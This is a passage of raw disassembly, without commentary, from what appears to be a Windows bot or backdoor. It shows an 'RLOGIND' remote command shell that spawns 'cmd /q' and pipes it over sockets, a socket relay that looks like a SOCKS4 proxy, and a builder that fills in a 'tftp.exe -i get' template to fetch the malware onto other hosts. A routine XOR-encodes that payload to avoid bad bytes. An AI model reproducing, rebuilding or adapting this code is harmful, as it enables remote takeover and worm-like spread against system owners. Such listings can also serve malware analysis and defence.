		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		call	ds:dword_41F0E8
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	ds:dword_41F030
		test	eax, eax
		jz	short loc_40F12B
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_434340[eax], ecx
		call	ds:dword_41F034
		jmp	short loc_40F141
; ---------------------------------------------------------------------------


loc_40F12B:				; CODE XREF: sub_40F07B+8Ej
		call	ds:dword_41F008
		push	eax
		push	offset aRlogindFaile_2 ; "[RLOGIND]: Failed to execute shell, err"...
		call	sub_401CA7
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_40F141:				; CODE XREF: sub_40F07B+AEj
		pop	edi
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40F07B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_40F147	proc near		; DATA XREF: sub_40F3F5+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 1B0h
		push	ebx
		mov	ebx, ds:dword_41F058
		push	esi
		push	edi
		mov	edi, [ebp+74h+arg_0]
		jmp	short loc_40F1A9
; ---------------------------------------------------------------------------


loc_40F160:				; CODE XREF: sub_40F147+77j
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+74h+arg_0], eax
		jbe	short loc_40F192


loc_40F16B:				; CODE XREF: sub_40F147+49j
		mov	cl, [ebp+esi+74h+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_40F182
		cmp	dl, 0Dh
		jz	short loc_40F182
		mov	[ebp+eax+74h+var_1B0], 0Dh
		inc	eax


loc_40F182:				; CODE XREF: sub_40F147+2Bj
					; sub_40F147+30j
		mov	[ebp+eax+74h+var_1B0], cl
		inc	eax
		inc	esi
		cmp	esi, [ebp+74h+arg_0]
		mov	dl, cl
		jb	short loc_40F16B


loc_40F192:				; CODE XREF: sub_40F147+22j
		push	0
		push	eax
		lea	eax, [ebp+74h+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_433534
		test	eax, eax
		jle	short loc_40F1C0


loc_40F1A9:				; CODE XREF: sub_40F147+17j
		push	0
		lea	eax, [ebp+74h+arg_0]
		push	eax
		push	0C8h
		lea	eax, [ebp+74h+var_C8]
		push	eax
		push	dword ptr [edi]
		call	ebx
		test	eax, eax
		jnz	short loc_40F160


loc_40F1C0:				; CODE XREF: sub_40F147+60j
		mov	esi, ds:dword_41F008
		call	esi
		cmp	eax, 6Dh
		jz	short loc_40F1DC
		call	esi
		push	eax
		push	offset aRlogindSession ; "[RLOGIND]: SessionReadShellThread exite"...
		call	sub_401CA7
		pop	ecx
		pop	ecx


loc_40F1DC:				; CODE XREF: sub_40F147+84j
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 74h
		leave
		retn
sub_40F147	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_40F1E4	proc near		; DATA XREF: sub_40F3F5+75o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+74h+arg_0]
		xor	esi, esi
		mov	[ebp+74h+var_10], ebx
		jmp	loc_40F2D6
; ---------------------------------------------------------------------------


loc_40F201:				; CODE XREF: sub_40F1E4+107j
		cmp	[ebp+74h+var_10], ebx
		jbe	short loc_40F20E
		dec	[ebp+74h+var_10]
		jmp	loc_40F2D9
; ---------------------------------------------------------------------------


loc_40F20E:				; CODE XREF: sub_40F1E4+20j
		mov	al, byte ptr [ebp+74h+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_40F2C1
		cmp	al, 8
		mov	[ebp+74h+var_C], ebx
		jz	short loc_40F278
		cmp	al, 7Fh
		jz	short loc_40F278
		cmp	al, 3
		jnz	short loc_40F239
		push	ebx
		push	ebx
		call	ds:dword_41F100
		jmp	short loc_40F29F
; ---------------------------------------------------------------------------


loc_40F239:				; CODE XREF: sub_40F1E4+49j
		cmp	al, 15h
		jnz	short loc_40F25B
		xor	esi, esi
		mov	[ebp+74h+var_8], 20h
		mov	[ebp+74h+var_7], 58h
		mov	[ebp+74h+var_6], 58h
		mov	[ebp+74h+var_5], 58h
		mov	[ebp+74h+var_4], 0Dh
		mov	[ebp+74h+var_3], 0Ah
		push	6
		jmp	short loc_40F28B
; ---------------------------------------------------------------------------


loc_40F25B:				; CODE XREF: sub_40F1E4+57j
		xor	ecx, ecx
		mov	[ebp+esi+74h+var_DC], al
		inc	esi
		inc	ecx
		cmp	al, 0Dh
		mov	[ebp+74h+var_8], al
		jnz	short loc_40F28C
		mov	[ebp+esi+74h+var_DC], 0Ah
		mov	[ebp+74h+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_40F28B
; ---------------------------------------------------------------------------


loc_40F278:				; CODE XREF: sub_40F1E4+41j
					; sub_40F1E4+45j
		cmp	esi, ebx
		jbe	short loc_40F2A2
		dec	esi
		mov	[ebp+74h+var_8], 8
		mov	[ebp+74h+var_7], 20h
		mov	[ebp+74h+var_6], 8
		push	3


loc_40F28B:				; CODE XREF: sub_40F1E4+75j
					; sub_40F1E4+92j
		pop	ecx


loc_40F28C:				; CODE XREF: sub_40F1E4+84j
		push	ebx
		push	ecx
		lea	eax, [ebp+74h+var_8]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_433534
		test	eax, eax
		jle	short loc_40F2F1


loc_40F29F:				; CODE XREF: sub_40F1E4+53j
		mov	al, byte ptr [ebp+74h+arg_0+3]


loc_40F2A2:				; CODE XREF: sub_40F1E4+96j
		cmp	al, 0Dh
		jnz	short loc_40F2D9
		push	ebx
		lea	eax, [ebp+74h+var_14]
		push	eax
		push	esi
		lea	eax, [ebp+74h+var_DC]
		push	eax
		push	dword ptr [edi+4]
		call	ds:dword_41F038
		test	eax, eax
		jz	short loc_40F2F1
		xor	esi, esi
		jmp	short loc_40F2D9
; ---------------------------------------------------------------------------


loc_40F2C1:				; CODE XREF: sub_40F1E4+36j
		cmp	[ebp+74h+var_C], ebx
		jnz	short loc_40F2CF
		mov	[ebp+74h+var_C], 1
		jmp	short loc_40F2D9
; ---------------------------------------------------------------------------


loc_40F2CF:				; CODE XREF: sub_40F1E4+E0j
		mov	[ebp+74h+var_10], 0Ah


loc_40F2D6:				; CODE XREF: sub_40F1E4+18j
		mov	[ebp+74h+var_C], ebx


loc_40F2D9:				; CODE XREF: sub_40F1E4+25j
					; sub_40F1E4+C0j ...
		push	ebx
		push	1
		lea	eax, [ebp+74h+arg_0+3]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_433414
		test	eax, eax
		jg	loc_40F201


loc_40F2F1:				; CODE XREF: sub_40F1E4+B9j
					; sub_40F1E4+D7j
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 74h
		leave
		retn
sub_40F1E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F2F9	proc near		; CODE XREF: sub_40F3F5+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41344D
		mov	esi, eax
		cmp	esi, edi
		pop	ecx
		jnz	short loc_40F31E
		xor	eax, eax
		jmp	loc_40F3F1
; ---------------------------------------------------------------------------


loc_40F31E:				; CODE XREF: sub_40F2F9+1Cj
		push	ebx
		push	edi
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		lea	ebx, [esi+4]
		mov	[ebx], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ds:dword_41F0EC
		test	eax, eax
		mov	edi, ds:dword_41F034
		jnz	short loc_40F35F
		call	ds:dword_41F008
		push	eax
		push	offset aRlogindFaile_3 ; "[RLOGIND]: Failed to create shell stdou"...
		jmp	short loc_40F380
; ---------------------------------------------------------------------------


loc_40F35F:				; CODE XREF: sub_40F2F9+56j
		push	0
		lea	eax, [ebp+var_14]
		push	eax
		push	ebx
		lea	eax, [ebp+var_4]
		push	eax
		call	ds:dword_41F0EC
		test	eax, eax
		jnz	short loc_40F388
		call	ds:dword_41F008
		push	eax
		push	offset aRlogindFaile_4 ; "[RLOGIND]: Failed to create shell stdin"...


loc_40F380:				; CODE XREF: sub_40F2F9+64j
		call	sub_401CA7
		pop	ecx
		jmp	short loc_40F3B5
; ---------------------------------------------------------------------------


loc_40F388:				; CODE XREF: sub_40F2F9+79j
		push	[ebp+arg_0]
		mov	ebx, [ebp+var_8]
		push	[ebp+var_4]
		call	sub_40F07B
		pop	ecx
		pop	ecx
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_40F3EA
		push	offset aRlogindFaile_5 ; "[RLOGIND]: Failed to execute shell."
		call	sub_401C33


loc_40F3B5:				; CODE XREF: sub_40F2F9+8Dj
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_40F3C1
		push	[ebp+var_4]
		call	edi


loc_40F3C1:				; CODE XREF: sub_40F2F9+C1j
		cmp	[ebp+var_8], 0
		jz	short loc_40F3CC
		push	[ebp+var_8]
		call	edi


loc_40F3CC:				; CODE XREF: sub_40F2F9+CCj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40F3D5
		push	eax
		call	edi


loc_40F3D5:				; CODE XREF: sub_40F2F9+D7j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40F3DF
		push	eax
		call	edi


loc_40F3DF:				; CODE XREF: sub_40F2F9+E1j
		push	esi
		call	sub_412FE4
		pop	ecx
		xor	eax, eax
		jmp	short loc_40F3F0
; ---------------------------------------------------------------------------


loc_40F3EA:				; CODE XREF: sub_40F2F9+B0j
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_40F3F0:				; CODE XREF: sub_40F2F9+EFj
		pop	ebx


loc_40F3F1:				; CODE XREF: sub_40F2F9+20j
		pop	edi
		pop	esi
		leave
		retn
sub_40F2F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F3F5	proc near		; CODE XREF: sub_40E00D+1BCp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_40F2F9
		imul	edi, 234h
		mov	esi, eax
		mov	eax, dword_434344[edi]
		mov	edi, ds:dword_41F00C
		xor	ebx, ebx
		pop	ecx
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_40F147
		push	ebx
		lea	eax, [ebp+var_C]
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_40F464
		call	ds:dword_41F008
		push	eax
		push	offset aRlogindFaile_6 ; "[RLOGIND]: Failed to create ReadShell	s"...
		call	sub_401CA7
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		xor	eax, eax
		jmp	loc_40F544
; ---------------------------------------------------------------------------


loc_40F464:				; CODE XREF: sub_40F3F5+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_40F1E4
		push	ebx
		lea	eax, [ebp+var_C]
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_40F4A5
		call	ds:dword_41F008
		push	eax
		push	offset aRlogindFaile_6 ; "[RLOGIND]: Failed to create ReadShell	s"...
		call	sub_401CA7
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		call	ds:dword_41F0C8
		xor	eax, eax
		jmp	loc_40F545
; ---------------------------------------------------------------------------


loc_40F4A5:				; CODE XREF: sub_40F3F5+86j
		mov	eax, [esi+10h]
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		push	0FFFFFFFFh
		mov	[ebp+var_10], eax
		push	ebx
		lea	eax, [ebp+var_18]
		push	eax
		push	3
		call	ds:dword_41F104
		sub	eax, ebx
		jz	short loc_40F4FF
		dec	eax
		jz	short loc_40F4F9
		dec	eax
		jz	short loc_40F4E5
		call	ds:dword_41F008
		push	eax
		push	offset aRlogindWaitfor ; "[RLOGIND]: WaitForMultipleObjects error"...
		call	sub_401CA7
		pop	ecx
		pop	ecx
		jmp	short loc_40F514
; ---------------------------------------------------------------------------


loc_40F4E5:				; CODE XREF: sub_40F3F5+D9j
		mov	edi, ds:dword_41F0C8
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_40F514
; ---------------------------------------------------------------------------


loc_40F4F9:				; CODE XREF: sub_40F3F5+D6j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_40F503
; ---------------------------------------------------------------------------


loc_40F4FF:				; CODE XREF: sub_40F3F5+D3j
		push	ebx
		push	dword ptr [esi+14h]


loc_40F503:				; CODE XREF: sub_40F3F5+108j
		call	ds:dword_41F0C8
		push	1
		push	dword ptr [esi+8]
		call	ds:dword_41F0BC


loc_40F514:				; CODE XREF: sub_40F3F5+EEj
					; sub_40F3F5+102j
		push	dword ptr [esi+10h]
		mov	edi, ds:dword_41F034
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_4335AC
		push	esi
		call	sub_412FE4
		xor	eax, eax
		inc	eax


loc_40F544:				; CODE XREF: sub_40F3F5+6Aj
		pop	ecx


loc_40F545:				; CODE XREF: sub_40F3F5+ABj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40F3F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F54A	proc near		; CODE XREF: sub_40F576+Ap
					; sub_40F779+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		lea	edx, [eax+1]


loc_40F551:				; CODE XREF: sub_40F54A+Cj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40F551
		sub	eax, edx
		push	esi
		mov	esi, eax
		mov	eax, [esp+4+arg_4]
		lea	ecx, [eax+1]


loc_40F564:				; CODE XREF: sub_40F54A+1Fj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40F564
		sub	eax, ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	esi
		retn
sub_40F54A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F576	proc near		; CODE XREF: sub_40F790+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40F54A
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_40F593
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40F593:				; CODE XREF: sub_40F576+17j
		mov	eax, [ebp+arg_8]
		lea	edx, [eax+1]


loc_40F599:				; CODE XREF: sub_40F576+28j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40F599
		sub	eax, edx
		push	ebx
		mov	edx, eax
		mov	eax, [ebp+arg_C]
		push	esi
		push	edi
		mov	[ebp+arg_4], edx
		lea	esi, [eax+1]


loc_40F5B0:				; CODE XREF: sub_40F576+3Fj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40F5B0
		sub	eax, esi
		mov	ebx, [ebp+arg_0]
		lea	ecx, [eax+edx+12h]
		mov	dword_42B3A4, ecx
		push	0FFFFFFEDh
		lea	ecx, [eax+1]
		mov	dword_42B3C5, ecx
		lea	ecx, [eax+17h]
		mov	dword_42B3BD, ecx
		pop	ecx
		sub	ecx, eax
		mov	dword_42B3D3, ecx
		push	1Dh
		pop	ecx
		mov	edi, ebx
		mov	esi, offset dword_42B340
		rep movsd
		mov	esi, [ebp+arg_8]
		mov	ecx, edx
		shr	ecx, 2
		lea	edi, [ebx+74h]
		rep movsd
		mov	ecx, edx
		mov	edx, [ebp+arg_4]
		and	ecx, 3
		rep movsb
		add	edx, 74h
		lea	edi, [edx+ebx]
		mov	esi, (offset aTftp_exeIGet+0Ch)
		movsd
		movsb
		mov	esi, [ebp+arg_C]
		add	edx, 5
		lea	edi, [edx+ebx]
		mov	ecx, eax
		mov	ebx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		mov	ebx, [ebp+arg_0]
		and	ecx, 3
		rep movsb
		add	edx, eax
		lea	edi, [edx+ebx]
		mov	esi, (offset aTftp_exeIGet+11h)
		movsd
		movsd
		movsd
		movsd
		mov	esi, [ebp+arg_C]
		add	edx, 10h
		mov	ecx, eax
		lea	edi, [edx+ebx]
		mov	ebx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		push	0Eh
		lea	edi, [edx+eax]
		add	edi, [ebp+arg_0]
		mov	eax, [ebp+var_4]
		pop	ecx
		mov	esi, offset byte_42B3C9
		rep movsd
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40F576	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F66E	proc near		; CODE XREF: sub_40F689+41p
					; sub_40F779+Ep

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_40F677
		inc	ecx


loc_40F677:				; CODE XREF: sub_40F66E+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_40F66E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F689	proc near		; CODE XREF: sub_40F790+56p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_C]
		cmp	bl, 0Ah
		push	esi
		jz	short loc_40F6A4
		cmp	bl, 0Dh
		jz	short loc_40F6A4
		cmp	bl, 5Ch
		jz	short loc_40F6A4
		test	bl, bl
		jnz	short loc_40F6A5


loc_40F6A4:				; CODE XREF: sub_40F689+Bj
					; sub_40F689+10j ...
		inc	ebx


loc_40F6A5:				; CODE XREF: sub_40F689+19j
		mov	esi, 0FFh
		cmp	ebx, esi
		jbe	short loc_40F6C9
		mov	eax, ebx
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_40F6C3
		cmp	al, 0Dh
		jz	short loc_40F6C3
		cmp	al, 5Ch
		jz	short loc_40F6C3
		test	al, al
		jnz	short loc_40F6C9


loc_40F6C3:				; CODE XREF: sub_40F689+2Cj
					; sub_40F689+30j ...
		add	ebx, 100h


loc_40F6C9:				; CODE XREF: sub_40F689+23j
					; sub_40F689+38j
		push	ebx
		call	sub_40F66E
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+arg_C], eax
		ja	short loc_40F6DF
		cmp	eax, 0FFFFh
		jbe	short loc_40F6E6


loc_40F6DF:				; CODE XREF: sub_40F689+4Dj
		xor	eax, eax
		jmp	loc_40F775
; ---------------------------------------------------------------------------


loc_40F6E6:				; CODE XREF: sub_40F689+54j
		mov	dl, byte_479E18
		xor	eax, eax
		test	ebx, ebx
		jbe	short loc_40F714


loc_40F6F2:				; CODE XREF: sub_40F689+89j
		mov	ecx, [ebp+arg_8]
		mov	cl, [eax+ecx]
		xor	cl, dl
		jz	short loc_40F70B
		cmp	cl, 0Ah
		jz	short loc_40F70B
		cmp	cl, 0Dh
		jz	short loc_40F70B
		cmp	cl, 5Ch
		jnz	short loc_40F70F


loc_40F70B:				; CODE XREF: sub_40F689+71j
					; sub_40F689+76j ...
		inc	dl
		xor	eax, eax


loc_40F70F:				; CODE XREF: sub_40F689+80j
		inc	eax
		cmp	eax, ebx
		jb	short loc_40F6F2


loc_40F714:				; CODE XREF: sub_40F689+67j
		cmp	ebx, esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	5
		mov	byte_479E18, dl
		pop	ecx
		ja	short loc_40F73C
		mov	esi, offset loc_42B328
		mov	byte_42B335, bl
		mov	byte_42B339, dl
		rep movsd
		push	15h
		jmp	short loc_40F754
; ---------------------------------------------------------------------------


loc_40F73C:				; CODE XREF: sub_40F689+9Aj
		mov	word_42B31E, bx
		mov	byte_42B323, dl
		mov	esi, offset loc_42B310
		rep movsd
		movsw
		push	17h


loc_40F754:				; CODE XREF: sub_40F689+B1j
		pop	eax
		xor	ecx, ecx
		test	ebx, ebx
		movsb
		pop	edi
		jbe	short loc_40F772
		mov	esi, [ebp+arg_0]
		add	esi, eax


loc_40F762:				; CODE XREF: sub_40F689+E7j
		mov	eax, [ebp+arg_8]
		mov	al, [ecx+eax]
		xor	al, dl
		mov	[esi+ecx], al
		inc	ecx
		cmp	ecx, ebx
		jb	short loc_40F762


loc_40F772:				; CODE XREF: sub_40F689+D2j
		mov	eax, [ebp+arg_C]


loc_40F775:				; CODE XREF: sub_40F689+58j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40F689	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F779	proc near		; CODE XREF: sub_40F790+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40F54A
		push	eax
		call	sub_40F66E
		add	esp, 0Ch
		retn
sub_40F779	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F790	proc near		; CODE XREF: sub_411235+6Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_40F779
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_40F7B0
		cmp	eax, 0FFFFh
		jbe	short loc_40F7B4


loc_40F7B0:				; CODE XREF: sub_40F790+17j
		xor	eax, eax
		jmp	short loc_40F7F9
; ---------------------------------------------------------------------------


loc_40F7B4:				; CODE XREF: sub_40F790+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_40F54A
		add	eax, 101h
		push	eax
		call	sub_41344D
		add	esp, 0Ch
		push	edi
		push	ebx
		push	edi
		push	ebx
		mov	esi, eax
		call	sub_40F54A
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_40F576
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F689
		push	esi
		mov	edi, eax
		call	sub_412FE4
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_40F7F9:				; CODE XREF: sub_40F790+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_40F790	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F7FD	proc near		; CODE XREF: sub_40F8FA+200p

var_504		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	esi, 400h


loc_40F810:				; CODE XREF: sub_40F7FD+C0j
					; sub_40F7FD+F2j
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		inc	ecx
		mov	[ebp+var_100], eax
		mov	[ebp+var_104], ecx
		xor	eax, eax


loc_40F824:				; CODE XREF: sub_40F7FD+36j
		mov	edx, [ebp+arg_0]
		cmp	[ebp+eax*4+var_100], edx
		jz	short loc_40F835
		inc	eax
		cmp	eax, ecx
		jb	short loc_40F824


loc_40F835:				; CODE XREF: sub_40F7FD+31j
		cmp	eax, ecx
		jnz	short loc_40F849
		mov	[ebp+var_FC], edx
		mov	[ebp+var_104], 2


loc_40F849:				; CODE XREF: sub_40F7FD+3Aj
		push	ebx
		xor	eax, eax
		push	ebx
		mov	ecx, 100h
		lea	edi, [ebp+var_504]
		rep stosd
		push	ebx
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_433544
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_4]
		call	dword_4334F4
		test	eax, eax
		jz	short loc_40F8AB
		push	ebx
		push	esi
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_4]
		call	dword_433414
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40F8F5
		push	ebx
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	dword_433534
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40F8F5


loc_40F8AB:				; CODE XREF: sub_40F7FD+7Ej
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	dword_4334F4
		test	eax, eax
		jz	loc_40F810
		push	ebx
		push	esi
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	dword_433414
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40F8F5
		push	ebx
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_4]
		call	dword_433534
		cmp	eax, 0FFFFFFFFh
		jnz	loc_40F810


loc_40F8F5:				; CODE XREF: sub_40F7FD+95j
					; sub_40F7FD+ACj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40F7FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_40F8FA	proc near		; DATA XREF: sub_40FB2A+13Fo

var_5D8		= dword	ptr -5D8h
var_5D4		= dword	ptr -5D4h
var_4D4		= byte ptr -4D4h
var_4D3		= byte ptr -4D3h
var_4D2		= word ptr -4D2h
var_4D0		= dword	ptr -4D0h
var_4CC		= byte ptr -4CCh
var_CC		= byte ptr -0CCh
var_48		= byte ptr -48h
var_30		= dword	ptr -30h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 5D8h
		mov	edx, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		pop	ecx
		mov	esi, edx
		lea	edi, [ebp+74h+var_CC]
		rep movsd
		mov	edi, [ebp+74h+var_30]
		xor	eax, eax
		inc	eax
		mov	[edx+0ACh], eax
		mov	esi, edi
		mov	[ebp+74h+var_5D8], eax
		imul	esi, 234h
		mov	ecx, dword_434344[esi]
		xor	ebx, ebx
		lea	eax, [ebp+74h+var_C]
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+74h+var_5D8]
		push	eax
		push	ebx
		mov	[ebp+74h+arg_0], edi
		mov	[ebp+74h+var_C], 5
		mov	[ebp+74h+var_8], ebx
		mov	[ebp+74h+var_5D4], ecx
		call	dword_433544
		test	eax, eax
		jnz	short loc_40F96D
		push	dword_434344[esi]
		jmp	loc_40FB15
; ---------------------------------------------------------------------------


loc_40F96D:				; CODE XREF: sub_40F8FA+66j
		push	ebx
		push	408h
		lea	eax, [ebp+74h+var_4D4]
		push	eax
		push	dword_434344[esi]
		call	dword_433414
		test	eax, eax
		jle	loc_40FB0F
		cmp	[ebp+74h+var_4D4], 4
		jnz	loc_40FB0F
		cmp	[ebp+74h+var_4D3], 1
		jnz	loc_40FB0F
		cmp	[ebp+74h+var_48], bl
		jz	loc_40FA43
		lea	eax, [ebp+74h+var_48]
		lea	edi, [ebp+74h+var_4CC]


loc_40F9BA:				; CODE XREF: sub_40F8FA+DCj
		mov	dl, [edi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_40F9DC
		cmp	cl, bl
		jz	short loc_40F9D8
		mov	dl, [edi+1]
		mov	cl, dl
